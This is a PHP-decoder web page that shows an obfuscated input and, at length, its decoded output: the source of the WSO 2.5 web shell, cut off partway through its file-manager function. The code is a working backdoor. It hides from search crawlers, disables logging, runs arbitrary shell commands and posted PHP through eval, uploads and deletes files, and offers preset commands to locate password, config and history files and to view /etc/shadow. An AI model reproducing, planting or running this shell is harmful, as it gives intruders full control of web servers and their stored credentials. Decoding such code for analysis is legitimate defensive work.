Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $IQtJK = 'str'.'rev'; $gKfaz = 'bas'.'e64'.'_deco'.'de'; $uMZpV = 's'.'tr'.'_'.'rot1..
Decoded Output download
if (!function_exists('iconv') && function_exists('libiconv')) {
function iconv($input_encoding, $output_encoding, $string) {
return libiconv($input_encoding, $output_encoding, $string);
}
}
if (!function_exists('iconv') && function_exists('mb_convert_encoding')) {
function iconv($from_encoding, $to_encoding, $string){
return mb_convert_encoding($string, $to_encoding, $from_encoding);
}
}
if (!function_exists('iconv')) {
function iconv($from_encoding, $to_encoding, $string){
return html_entity_decode(htmlentities($string, ENT_QUOTES, $from_encoding), ENT_QUOTES , $to_encoding);
}
}
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(function_exists("get_magic_quotes_gpc")){
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan', 'Console'=>'Console','Sql'=>'Sql', 'UPdate/UPgrade' => 'UPDate', 'Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v){
if($k == 'UPdate/UPgrade'){
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')"><font color="#25ff00">'.$k.'</font></a> ]</th>';
}else{
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
}
}
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if (is_int($s))
$s = sprintf("%u", $s);
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
if(function_exists('posix_getpwuid')){
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
}else{
$ow = '';
}
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(function_exists("get_magic_quotes_gpc") && !empty($_COOKIE['act']) && @count($_COOKIE['f']))
